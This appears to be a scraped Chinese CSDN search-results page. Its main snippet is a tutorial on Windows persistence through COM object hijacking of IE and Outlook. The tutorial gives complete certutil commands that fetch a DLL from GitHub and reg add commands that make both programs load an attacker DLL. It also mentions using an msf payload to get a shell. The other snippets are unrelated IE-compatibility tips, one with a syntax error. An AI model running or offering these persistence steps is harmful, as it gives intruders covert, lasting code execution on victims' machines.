精华内容
下载资源
问答
  • 劫持outlook与IE浏览器实现权限维持

    万次阅读 2020-11-16 18:21:24
    实现过程劫持IE浏览器劫持outlook3.参考文章 1.实现原理 通过劫持IE浏览器或者outlook启动过程中启动的com组件,来使系统执行我们所指定的dll文件,进而达到权限维持,可以通过修改注册表来完成,不需要管理员权限。...

    1.实现原理

    通过劫持IE浏览器或者outlook启动过程中启动的com组件,来使系统执行我们所指定的dll文件,进而达到权限维持,可以通过修改注册表来完成,不需要管理员权限。

    2.实现过程

    劫持IE浏览器

    1. 下载poc文件:
      certutil.exe -urlcache -split -f https://github.com/3gstudent/test/blob/master/calcmutex.dll
    2. 创建文件夹
      如果是64位系统:
    mkdir %APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}
    cd  %APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}
    

    在这里插入图片描述

    1. 下载文件并修改文件名
    certutil.exe -urlcache -split -f [url] api-ms-win-downlevel-1x64-l1-1-0._dl
    certutil.exe -urlcache -split -f [url] #删除缓存
    

    在这里插入图片描述

    1. 修改注册表
      值为刚下载的文件的绝对路径:
    C:\Users\test\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\api-ms-win-downlevel-1x64-l1-1-0._dl
    
    1. 劫持结果
      在这里插入图片描述

    也可以使用msf生成的dll来实现,会弹回shell,不过机器重启后,会丢失桌面,直接黑屏。需要自己编写恶意dll确保dll只会执行一次。定义一个互斥向量即可。
    在这里插入图片描述


    所有命令如下:

    cd desktop
    
    mkdir %APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}
    
    copy calcmutex.dll %APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\api-ms-win-downlevel-1x86-l1-1-0._dl
    
    copy calcmutex_x64.dll %APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\api-ms-win-downlevel-1x64-l1-1-0._dl
    
    
    SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InProcServer32
    
    REG.EXE ADD %KEY% /VE /T REG_SZ /D "C:\Users\test\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\api-ms-win-downlevel-1x64-l1-1-0._dl" /F
    
    REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F
    
    
    
    
    SET KEY=HKCU\Software\Classes\Wow6432Node\CLSID\{BCDE0395-E52F-467C-8E3D-C4579291692E}\InProcServer32
    
    REG.EXE ADD %KEY% /VE /T REG_SZ /D "C:\Users\test\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\api-ms-win-downlevel-1x86-l1-1-0._dl" /F
    
    REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F
    
    

    也可以使用脚本一键完成:https://github.com/3gstudent/COM-Object-hijacking

    劫持outlook

    实现所需所有命令如下:

    reg add HKCU\Software\Classes\CLSID\{84DA0A92-25E0-11D3-B9F7-00C04F4C8F5D}\TreatAs /t REG_SZ /d "{49CBB1C7-97D1-485A-9EC1-A26065633066}" /f
    
    reg add HKCU\Software\Classes\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066} /t REG_SZ /d "Mail Plugin" /f
    
    reg add HKCU\Software\Classes\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066}\InprocServer32 /t REG_SZ /d "C:\Users\test\Desktop\calc.dll" /f
    
    reg add HKCU\Software\Classes\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066}\InprocServer32 /v ThreadingModel /t REG_SZ /d "Apartment" /f
    
    
    
    
    
    
    reg add HKCU\Software\Classes\Wow6432Node\CLSID\{84DA0A92-25E0-11D3-B9F7-00C04F4C8F5D}\TreatAs /t REG_SZ /d "{49CBB1C7-97D1-485A-9EC1-A26065633066}" /f
    
    reg add HKCU\Software\Classes\Wow6432Node\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066} /t REG_SZ /d "Mail Plugin" /f
    
    reg add HKCU\Software\Classes\Wow6432Node\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066}\InprocServer32 /t REG_SZ /d "C:\Users\test\Desktop\calc.dll" /f
    
    reg add HKCU\Software\Classes\Wow6432Node\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066}\InprocServer32 /v ThreadingModel /t REG_SZ /d "Apartment" /f
    
    
    
    
    

    自动实现脚本:https://github.com/3gstudent/Homework-of-Powershell/blob/master/Invoke-OutlookPersistence.ps1

    3.参考文章

    Hijack CAccPropServicesClass and MMDeviceEnumerator劫持IE浏览器
    Use COM Object hijacking to maintain persistence——Hijack Outlook

    展开全文
  • 网站适配IE浏览器的几个注意事项

    万次阅读 多人点赞 2020-06-16 16:25:50
    网站适配IE浏览器的几个注意事项 注意事项目录网站适配IE浏览器的几个注意事项1、ajax请求date数据格式:2、部分js插件需要引入对应的js文件才能生效2、判断不同浏览器内核后使用对应的方法2、IE浏览器常见报错1)、...

    网站适配IE浏览器的几个注意事项

    1、ajax请求date数据格式:

    错误示范

    $.ajax({
            url: 'url',
            type: 'POST',
            data: {
                data: "data",
            },
            success: function (e) {
            }        
    })
    

    正确示范(最后一个date值不能有“,”)

    $.ajax({
           url: 'url',
           type: 'POST',
           data: {
               data: "data"
           },
           success: function (e) {
           }        
    })
    

    2、部分js插件需要引入对应的js文件才能生效

    例如:sweetalert弹框插件,在IE浏览器正常运行,需要引入promise.auto.js,在chorme浏览器则不需要
    IE正常使用该插件有两种方法:
    1、cdn地址:https://cdn.bootcss.com/es6-promise/4.1.1/es6-promise.auto.js
    2、以下代码不会与IE11一起运行:

    swal({
        title: 'Are you sure?',
        text: "You won't be able to revert this!",
        type: 'warning',
        showCancelButton: true,
        confirmButtonColor: '#3085d6',
        cancelButtonColor: '#d33',
        confirmButtonText: 'Yes, delete it!'
    }).then((result) => {
       if (result.value) {
         swal(
           'Deleted!',
           'Your file has been deleted.',
           'success'
         )
       }
    })
    

    解决此问题的简单方法是使用 function() 语法而不是 () =>

    swal({
        title: 'Are you sure?',
        text: "You won't be able to revert this!",
        type: 'warning',
        showCancelButton: true,
        confirmButtonColor: '#3085d6',
        cancelButtonColor: '#d33',
        confirmButtonText: 'Yes, delete it!'
    }).then(function(result) {
       if (result.value) {
         swal(
           'Deleted!',
           'Your file has been deleted.',
           'success'
         )
       }
    })
    

    2、判断不同浏览器内核后使用对应的方法

    var ie = navigator.userAgent.match(/MSIE\s([\d.]+)/),
    	ie11 = navigator.userAgent.match(/Trident\/7.0/) && navigator.userAgent.match(/rv:11/),
        ieEDGE = navigator.userAgent.match(/Edge/g),
        ieVer = (ie ? ie[1] : (ie11 ? 11 : (ieEDGE ? 12 : -1)));
        console.log('excelFileie:' + ie);
        console.log('excelFileieVer:' + ieVer);
        if (ie && ieVer < 10) {
            this.message.error('No blobs on IE<10');
            return;
        }
        if (ieVer > -1) {
        //IE
        } else {
    	//chorme
    	}
    

    2、IE浏览器常见报错

    1)、无效字符:

    原本是:

    `string text ${expression} string text`
    

    修改为

    "string text "+expression+" string text"
    
    2)、js导出excel文件,传递给系统调用的数据区域太小:

    IE浏览器对URL的最大限制为2083个字符,如果超过这个数字,提交按钮没有任何反应。

    function downloadFile(title, data) {
    		        const blob = new Blob([data], {type: 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet;'});
    		        const ie = navigator.userAgent.match(/MSIE\s([\d.]+)/),
    		            ie11 = navigator.userAgent.match(/Trident\/7.0/) && navigator.userAgent.match(/rv:11/),
    		            ieEDGE = navigator.userAgent.match(/Edge/g),
    		            ieVer = (ie ? ie[1] : (ie11 ? 11 : (ieEDGE ? 12 : -1)));
    		        console.log('ie:' + ie);
    		        console.log('ieVer:' + ieVer);
    		        if (ie && ieVer < 10) {
    		            this.message.error('No blobs on IE<10');
    		            return;
    		        }
    		        if (ieVer > -1) {
    		            window.navigator.msSaveBlob(blob, title);
    		        } else {
    		            const url = window.URL.createObjectURL(blob);
    		            let link = document.createElement('a');
    		            link.setAttribute('href', url);
    		            link.setAttribute('download', title);
    		            document.body.appendChild(link);
    		            link.click();
    		            document.body.removeChild(link);
    		        }
    		    }
    
    3)、InvalidCharacterError
    //创建HTML元素的js代码, 例如ajaxfileupload.js, 行10 字符17代码:
    
    var io = document.createElement("<iframe id='" + frameId + "' name='" + frameId + "' />");
    //以上代码在IE10下报如下错误:
    //SCRIPT5022: InvalidCharacterError
    //解决办法,改成如下兼容写法:
    var io=document.createElement("iframe");
    io.id=frameId;
    io.name=frameId;
    //以上代码出至  ajaxfileupload.js, 行10 字符17  使用ajaxfileupload.js需把此行更改成上面那样,才能在IE10正常运行。
    
    展开全文
  • 1、检测是否为IE浏览器方法一 function isIE() { if (!!window.ActiveXObject || "ActiveXObject" in window) return true; else return false; } 2、判断是否为IE浏览器方法二 //判断是否是IE浏览器 ...

    1、检测是否为IE浏览器方法一

    function isIE() {
        if (!!window.ActiveXObject || "ActiveXObject" in window)
            return true;
        else
            return false;
    }

    2、判断是否为IE浏览器方法二

    //判断是否是IE浏览器 
    function isIE(){ 
          var userAgent = navigator.userAgent; //取得浏览器的userAgent字符串 
          var isIE = userAgent.indexOf("compatible") > -1 && userAgent.indexOf("MSIE") > -1 && !isOpera; //判断是否IE浏览器 
          if(isIE){ 
              return "1"; 
          }else{ 
              return "-1"; 
          } 
    } 

    2、检测IE浏览器的版本

    function IEVersion() {
        var userAgent = navigator.userAgent; //取得浏览器的userAgent字符串
        var isIE = userAgent.indexOf("compatible") > -1 && userAgent.indexOf("MSIE") > -1; //判断是否IE<11浏览器
        var isEdge = userAgent.indexOf("Edge") > -1 && !isIE; //判断是否IE的Edge浏览器
        var isIE11 = userAgent.indexOf('Trident') > -1 && userAgent.indexOf("rv:11.0") > -1;
        if (isIE) {
            var reIE = new RegExp("MSIE (\\d+\\.\\d+);");
            reIE.test(userAgent);
            var fIEVersion = parseFloat(RegExp["$1"]);
            if (fIEVersion == 7) {
                return 7;
            } else if (fIEVersion == 8) {
                return 8;
            } else if (fIEVersion == 9) {
                return 9;
            } else if (fIEVersion == 10) {
                return 10;
            } else {
                return 6; //IE版本<=7
            } else if (isEdge) {
                return 'edge'; //edge
            } else if (isIE11) {
                return 11; //IE11
            } else {
                return -1; //不是ie浏览器           
            }
        }
    }
    

     

    交流

    1、QQ群:可添加qq群共同进阶学习: 进军全栈工程师疑难解  群号:   856402057

    2、公众号:公众号「进军全栈攻城狮」 ,对前端技术保持学习爱好者。我会经常分享自己所学所看的干货,在进阶的路上,共勉!

                                                      

    展开全文
  • 使用ActivexObject 区分IE浏览器与非IE浏览器 IE支持ActiveObject控件,而chrome系列不支持 function isIE(){ if (window.ActiveXObject || "ActiveXObject" in window) { return true; }else{ return false; }...

    使用ActivexObject 区分IE浏览器与非IE浏览器

    IE支持ActiveObject控件,而chrome系列不支持

    function isIE(){
        if (window.ActiveXObject || "ActiveXObject" in window) {
        return true;
    }else{
        return false;
      }
    }
    展开全文
  • IE浏览器兼容性后续 前言 继续尝试解决IE浏览器兼容性问题,结局方案为更换jquery、angularjs、IE的版本。 1.首先尝试更换jquery版本为1.7.2 jquery-1.9.1.js-->jquery-1.7.2.js--> jquery2.1.4.js 无效 2.尝试...
  • Mac 安装IE浏览器

    万次阅读 2018-12-18 23:56:12
    我们都知道在Mac上不能直接安装IE浏览器,如果要在Mac上使用IE浏览器,网上也有很多方法,比如安装虚拟机、通过安装 CrossOver或使用wine来安装IE、通过Mac自带的浏览器Safari代理IE内核等,但我觉得目前比较好用的...
  • ie浏览器下载文件中文名称乱码

    万次阅读 2020-06-19 15:42:01
    //方法功能描述:判断是否是IE浏览器 public boolean isMSBrowser(HttpServletRequest request) { String[] IEBrowserSignals = {"MSIE", "Trident", "Edge"}; String userAgent = request.getHeader("User-Agent...
  • Win7系统自带的IE浏览器是IE9浏览器,如果用习惯了非IE内核的浏览器,想卸载IE浏览器应该怎么操作呢?IE浏览器怎么卸载?下面跟着小编操作如何卸载停用IE浏览器吧 工具/原料 WIN7 IE...
  • CSS hack 如何区分所有IE浏览器和非IE浏览器
  • IE浏览器以及内置IE浏览器的程序不能使用的解决方案
  • IE浏览器驱动下载

    千次阅读 2017-11-21 17:47:17
    IE IE浏览器入门导学
  • ie浏览器降级

    千次阅读 2017-02-08 14:36:41
    有时我们会处理各种浏览器兼容问题,而同浏览器的...浏览器中的ie的卸载更是麻烦无比,今天介绍一下通过控制台降低我们ie浏览器的版本进行调试。 1.ie浏览器打开控制台(F12) 2.点击Edge 3.选择你需要调试的版本号
  • vue项目兼容IE浏览器

    万次阅读 热门讨论 2018-08-17 11:04:56
    vue项目兼容IE浏览器 利用vue写出的项目打包后在IE浏览器下显示空白,是因为缺少babel-polyfill的缘故。 解决方法: 1、安装babel-polyfill包; 2、在main.js文件中引入babel-polyfill; 3、在...
  • Mac上使用IE浏览器

    千次阅读 2020-02-17 17:46:37
    我们都知道在Mac上不能直接安装IE浏览器,如果要在Mac上使用IE浏览器,网上也有很多方法,比如安装虚拟机、通过安装CrossOver或使用wine来安装IE、通过Mac自带的浏览器Safari代理IE内核等,但我觉得目前比较好用的...
  • Win10安装IE浏览器教程

    千次阅读 2020-04-08 15:07:37
    Win10安装IE浏览器教程一、开启系统更新二、设置网络三、安装IE浏览器 目前,win10系统默认使用的浏览器是Microsoft Edge浏览器,但是也还有一些喜欢使用IE浏览器的网友。因此,今天给大家分享一下win10系统使用IE...
  • js判断IE浏览器的版本

    千次阅读 2019-02-18 20:46:52
    js判断IE浏览器的版本 参考文献: [1] js判断是否是ie浏览器且给出ie版本
  • 截至九月底为止,数据显示,Edge浏览器市占率已来到8.84%,领先FireFox和IE浏览器。而为了推广Edge浏览器,微软不仅在官方页面放了大大的宣传栏、加速IE的淘汰,现在广告都打到Win10系统里了。从Win10 v2004版本开始...
  • IE浏览器调试默认是IE 7版本

    千次阅读 2019-04-01 16:41:21
    碰到只能使用IE浏览器的前端项目代码,也真是无奈啊。。。 问题描述: 碰到一个比较古老的项目,当时只做了IE兼容,其他的浏览器打开样式非常乱,由于项目还在使用,又没有过多时间做兼容,只好硬着头皮在IE中做...
  • 使用Selenium启动IE浏览器

    万次阅读 2018-06-06 10:22:20
    Selenium Webdriver启动IE浏览器需要使用到IE浏览器的驱动InternetExplorerDriver,一个exe文件,所以首先需要下载InternetExplorerDriver。 具体启动步骤: 1. 下载InternetExplorerDriver,从这里下载 推荐...
  • 前言:由于有裁剪图像的需求,所以就应用了Cropper.js插件,但是在IE浏览器就爆出了兼容blob问题。 解决方案:其实在https://www.canvasapi.cn/HTMLCanvasElement/toBlob#&othersCanvas中文官网官方网站有给出...
  • 设置ie浏览器中转站,通过本地ie浏览器打开的页面进行跳转,记住是通过本地ie浏览器的页面,通过这个页面再跳转到其他系统上。 1、先通过control跳转到sso页面。 2、sso页面,通过ie,跳转到aaa页面。(注意:sso...
  • 下面这种方式可以在谷歌浏览器中将main的滚动条隐藏,但在ie中却不兼容。 .main::-webkit-scrollbar { ...下面的代码可以让Main有滚动条的效果并且在ie浏览器中不显示滚动条的存在。 ..... ...
  • Vue项目兼容IE浏览器

    万次阅读 2017-08-24 11:09:15
    Vue项目部署到服务器后,通常除IE浏览器外其他都正常,而IE浏览器会报这么个问题因为Vue使用了ES6 Promise,而IE浏览器不支持,解决方法是: 使用babel-polyfill转换 ...
  • 打开IE浏览器自动跳转到Edge浏览器

    千次阅读 2021-02-22 11:26:04
    IE浏览器代理出问题导致的程序网络不可用解决办法就是打开IE浏览器重置,但是自从安装了edge后,打开ie就会自动打开edge然后IE关闭,无论试多少次都是一样的 第一个想到的办法:强制卸载edge 使用了干edge注册表项...
  • 成功解决~请使用IE浏览器(兼容模式)

    万次阅读 2019-08-06 16:33:42
    成功解决~请使用IE浏览器(兼容模式) 目录 解决问题 解决思路 解决方法 1、图文教程 解决问题 请使用IE浏览器(兼容模式) 解决思路 有些网站版本...
  • angular项目兼容IE浏览器

    千次阅读 热门讨论 2018-05-25 21:15:46
    图书馆的项目最近想要放到钉钉上使用,但是项目放到微信公众号上可以访问,放到钉钉上却不可以用,刚开始很疑惑为什么会这样呢,后来才知道钉钉的内核是IE内核,把项目放到电脑上的IE浏览器中也是不可以访问的。...
  • IE浏览器 DOM资源管理器 报错

    千次阅读 2016-12-30 09:58:59
    IE浏览器的dom资源管理器出错
  • 如何查看IE浏览器保存的密码

    万次阅读 2019-03-22 15:54:35
    如何查看IE浏览器保存的密码 IE浏览器保存的密码是windows的一种凭证,下面我们就来试一下如何查看IE浏览器保存的密码 方法/步骤 让我们打开IE浏览器,点击右上角的Internet选项图标,如图页面显示; 点击...
  • ie浏览器中dispatchEvent报错

    千次阅读 2019-04-23 15:40:42
    原代码如下(谷歌浏览器正常,但在ie浏览中会报错): $("#remark").val("");...修改后代码如下(ie浏览器亲测也正常,ie11浏览器): var event2 = document.createEvent("HTMLEvents"); event2.initEvent...
  • 最近使用到第三方公司开发的OCX控件,由于控件只支持IE浏览器,但是项目需要使用谷歌浏览器展示, 以下是谷歌、火狐等非IE浏览器实现部分IE功能的方法步骤。请参考。 准备工作:下载IE Tab控件,以下以IE Tab_12.7....

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 35,609
精华内容 14,243
关键字:

ie浏览器